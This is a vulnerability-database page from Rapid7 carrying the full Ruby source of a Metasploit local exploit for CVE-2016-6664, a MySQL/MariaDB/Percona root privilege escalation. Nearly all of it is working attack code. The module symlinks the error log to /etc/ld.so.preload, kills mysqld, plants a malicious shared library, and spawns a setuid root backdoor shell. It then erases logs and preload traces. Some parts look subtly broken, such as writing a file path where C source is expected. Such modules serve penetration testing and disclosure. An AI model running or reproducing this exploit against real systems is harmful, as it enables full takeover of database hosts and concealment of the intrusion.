CVE-2016-6664 MySQL / MariaDB / Percona - Root Privilege Escalation

2016-11-25T19:03:23
ID MSF:EXPLOIT/LINUX/LOCAL/MYSQL_PRIV_ESC
Type metasploit
Reporter Rapid7
Modified 1970-01-01T00:00:00

Description

About For Customers Free Tools

Rapid7

  • Home
  • Vulnerability & Exploit Database

Vulnerability & Exploit Database

                                        
                                            ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'MySQL / MariaDB / Percona   -   Root Privilege Escalation',
        'Description'    => %q{
          MySQL-based databases including MySQL, MariaDB and Percona are affected
          by a privilege escalation vulnerability which can let attackers who have
          gained access to mysql system user to further escalate their privileges
          to root user allowing them to fully compromise the system.
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'x2020 <x2020@gmail.com>',  # Module
            'Dawid Golunski'            # Discovery
          ],
        'DisclosureDate' => 'Nov 01 2016',
        'Platform'       => [ 'linux'],
        'SessionTypes'   => ['shell', 'meterpreter'],
        'Targets'        => [ ['Automatic', {}] ],
        'DefaultTarget'  => 0,
        'DefaultOptions' =>
        {
          'DisablePayloadHandler' => true
        },
        'References'     =>
          [
            [ 'EDB', '40679'],
            [ 'CVE', '2016-6664'],
            [ 'URL', 'https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html']
          ]
      ))
    register_options(
      [
        OptString.new('ErrorLog', [ true, 'The error log file', '/var/log/mysql/error.log' ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptString.new('BackdoorShell', [ true, 'The shell path', '/bin/bash' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check

    def check_reqs?()
      # should have mysqld_safe running
      check_command = "if pgrep mysqld; "
      check_command << "then echo OK; "
      check_command << "fi"
      output = cmd_exec(check_command).gsub("\r", '')
      vprint_status output
      if output['OK'] == 'OK'
        vprint_good "mysqld_safe is running"
        return true
      end
      print_error "mysqld process not running"
      false
    end

    def mysql_user?()
      # test for mysql user
      mysql = cmd_exec("id | grep -E '(mysql)'")
      if not mysql.include?("mysql")
        print_error "The current session user (#{mysql}) is not mysql"
        return false
      end
      vprint_good "The current user is mysql"
      true
    end

    def preload_exists?()
      if exists?("/etc/ld.so.preload")
        print_error "Found ld.so.preload. Exiting for safety."
        return true
      end
      false
    end

    def sudo_exists?()
      @sudo = cmd_exec('which sudo')
      if @sudo.include?("sudo")
        return true
      end
      false
    end

    if check_reqs? and mysql_user? and sudo_exists?
      if preload_exists?
        return CheckCode::Detected
      end
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
    def has_prereqs?()
      vprint_status('Checking if gcc is installed')
      if target.name == "Ubuntu"
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
        else
          print_error('gcc is not installed.  Compiling will fail.')
        end
        return gcc.include?('gcc')
      else
        return false
      end
    end

    compile = has_prereqs?
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end

    # build file names and locations
    privesclib_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".so"
    privescsrc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".c"
    pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    payload_path = datastore["WritableDir"] + "/" + rand_text_alpha(8)
    backdoorsh = datastore["BackdoorShell"]
    backdoorpath = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    error_log_file = datastore["ErrorLog"]

    # setup the files
    rm_f pwn_file
    if compile
      vprint_status "Writing pwn source to #{privescsrc_file}"
      rm_f privescsrc_file
      write_file(privescsrc_file, privesclib_file)
      cmd_exec("gcc -Wall -fPIC -shared -o #{privesclib_file} #{privescsrc_file} -ldl")
      register_file_for_cleanup(privescsrc_file)
    else
      # privesclib.so file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-6664', '2016-6664.out')
      fd = ::File.open( path, "rb")
      privesclib = fd.read(fd.stat.size)
      fd.close
      vprint_status "Writing privesclib to #{privesclib_file}"
      backdoorpath = "/tmp/mysqlrootsh" # hardcoded into privesclib.so
      write_file(privesclib_file, privesclib)
    end
    register_file_for_cleanup(backdoorpath)
    register_file_for_cleanup(privesclib_file)

    # the actual pwning
    def do_pwn(privesclib_file, suidbin, backdoorpath, payload_path)
      print_status "Executing escalation."
      do_cmd_exec("echo #{privesclib_file} > /etc/ld.so.preload")
      do_cmd_exec("chmod 755 /etc/ld.so.preload")
      do_cmd_exec("#{suidbin} 2>/dev/null >/dev/null")
      do_cmd_exec("#{backdoorpath} -p -c \"rm -f /etc/ld.so.preload; rm -f #{privesclib_file}\"")
      do_cmd_exec("#{backdoorpath} -p")
    end

    # reset system state
    def do_cleanup(error_log_file)
      cmd_exec("rm -f #{error_log_file}")
      cmd_exec("mv -f #{error_log_file}.tmp #{error_log_file}")
      cmd_exec("if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload; fi")
      vprint_status "Cleanup done."
    end

    # util cmd_exec with verbose print
    def do_cmd_exec(cmd)
      vprint_status cmd
      r = cmd_exec(cmd)
      if r != ""
        print_status r
      end
    end

    # initial setup for pwning
    vprint_status "Seting up the preload trap"
    do_cmd_exec("cp #{backdoorsh} #{backdoorpath}")
    do_cmd_exec("touch -f #{error_log_file}; mv #{error_log_file} #{error_log_file}.tmp && ln -s /etc/ld.so.preload #{error_log_file}")
    do_cmd_exec("kill $(pgrep mysqld)")

    # wait for restart
    print_status "Waiting for mysqld to restart..."
    cmd_exec("while :; do { sleep 0.1; if [ -f /etc/ld.so.preload ]; then { echo #{privesclib_file} > /etc/ld.so.preload; rm -f #{error_log_file}; break; } fi } done", nil, 125)

    # pwn the system
    do_pwn(privesclib_file, @sudo, backdoorpath, payload_path)

    # cleanup the mess
    do_cleanup(error_log_file)

  end
end